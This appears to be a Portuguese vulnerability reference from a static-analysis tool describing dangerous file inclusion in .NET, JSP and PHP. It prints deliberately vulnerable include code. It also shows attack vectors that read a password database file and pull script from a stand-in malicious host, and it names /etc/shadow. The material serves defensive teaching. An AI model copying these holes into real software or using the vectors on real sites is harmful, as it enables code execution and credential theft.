Reino: Input Validation and Representation

Problemas de validação e representação da entrada são causados por metacaracteres, codificações alternativas e representações numéricas. Confiar na entrada resulta em problemas de segurança. Os problemas incluem: “Buffer Overflows”, ataques de “Cross-Site Scripting”, “SQL Injection”, entre outros.

Dangerous File Inclusion

Abstract
Permitir que entradas do usuário não validadas controlem arquivos incluídos dinamicamente em um arquivo HTML pode resultar na execução de código mal-intencionado.
Explanation
Várias linguagens modernas de geração de script da Web permitem a reutilização e a modularização de código através da capacidade de incluir arquivos de origem adicionais em um único arquivo encapsulado. Essa capacidade é muitas vezes usada para aplicar uma aparência padrão a um aplicativo (criação de modelos), compartilhar funções sem a necessidade de código compilado ou fragmentar o código em arquivos menores mais gerenciáveis. Os arquivos incluídos são interpretados como parte do arquivo pai e executados da mesma maneira. Vulnerabilidades de inclusão de arquivos ocorrem quando o caminho do arquivo incluído é controlado por uma entrada do usuário não validada.

Exemplo 1: O código a seguir pega um modelo especificado pelo usuário e o inclui na página HTML renderizada.


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


No Example 1, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para includedURL, que faz com que o programa inclua um arquivo de um site externo.

Se o invasor especificar um arquivo válido para uma instrução de inclusão dinâmica, o .NET inserirá o conteúdo desse arquivo no arquivo HTML enviado ao usuário. No caso de um arquivo de texto sem formatação, como web.config, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
Permitir que entradas de usuário não validadas controlem arquivos que são incluídos dinamicamente em uma JSP pode resultar na execução de código mal-intencionado.
Explanation
Várias linguagens modernas de geração de script da Web permitem a reutilização e a modularização de código através da capacidade de incluir arquivos de origem adicionais em um único arquivo encapsulado. Essa capacidade é muitas vezes usada para aplicar uma aparência padrão a um aplicativo (criação de modelos), compartilhar funções sem a necessidade de código compilado ou fragmentar o código em arquivos menores mais gerenciáveis. Os arquivos incluídos são interpretados como parte do arquivo pai e executados da mesma maneira. Vulnerabilidades de inclusão de arquivos ocorrem quando o caminho do arquivo incluído é controlado por uma entrada do usuário não validada.

Exemplo 1: O exemplo a seguir representa a vulnerabilidade de Inclusão de Arquivos Locais. O exemplo de código usa um nome de modelo especificado pelo usuário e o inclui na página JSP para renderização.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

Se o invasor especificar um arquivo válido para a instrução de inclusão dinâmica, o conteúdo desse arquivo será transmitido para o interpretador JSP a ser renderizado na página.

No caso de um vetor de ataque com o formato

specialpage.jsp?template=/WEB-INF/database/passwordDB

o intérprete JSP renderizará o conteúdo do arquivo /WEB-INF/database/passwordDB para a página JSP, comprometendo assim a segurança do sistema.

Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.

Exemplo 2: O exemplo de código usa a tag c:import para importar um arquivo remoto especificado pelo usuário para a página JSP atual.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

Um vetor de ataque com o formato

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

pode injetar código mal-intencionado dentro da página JSP atual a partir de um local remoto controlado pelo invasor.
desc.dataflow.java.dangerous_file_inclusion
Abstract
Permitir a entrada de usuário inválida para controlar os arquivos que estão incluídos dinamicamente em PHP pode levar à execução de código mal-intencionado.
Explanation
Várias linguagens modernas de geração de script da Web permitem a reutilização e a modularização de código através da capacidade de incluir arquivos de origem adicionais em um único arquivo encapsulado. Essa capacidade é muitas vezes usada para aplicar uma aparência padrão a um aplicativo (criação de modelos), compartilhar funções sem a necessidade de código compilado ou fragmentar o código em arquivos menores mais gerenciáveis. Os arquivos incluídos são interpretados como parte do arquivo pai e executados da mesma maneira. Vulnerabilidades de inclusão de arquivos ocorrem quando o caminho do arquivo incluído é controlado por uma entrada do usuário não validada.

As vulnerabilidades de inclusão de arquivo são uma das vulnerabilidades mais prolíficas e graves de aplicativos PHP. Antes do PHP 4.2.0, as instalações do PHP enviadas com a opção register_globals habilitada por padrão, que permite aos invasores substituir facilmente as variáveis de servidor interno. Embora desabilitar register_globals possa limitar a exposição de um programa às vulnerabilidades de inclusão de arquivo, esses problemas ainda ocorrem em aplicativos PHP modernos.

Exemplo 1: O código a seguir inclui um arquivo sob a opção $server_root definida por aplicativo em um modelo.


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


Se register_globals estiver definida como on, um invasor poderá substituir o valor $server_root fornecendo $server_root como parâmetro de solicitação, o que o dá controle parcial da instrução include dinâmica.

Exemplo 2: O código a seguir pega um modelo especificado pelo usuário e o inclui na página PHP para ser renderizado.


...
<?php include($_GET['headername']); ?$gt;
...


No Example 2, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para headername, que faz com que o programa inclua um arquivo de um site externo.

Se o invasor especificar um arquivo válido para uma instrução include dinâmica, o conteúdo desse arquivo será passado para o interpretador PHP. No caso de um arquivo de texto sem formatação, como /etc/shadow, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
References
[1] Using Register Globals PHP Guide
desc.dataflow.php.dangerous_file_inclusion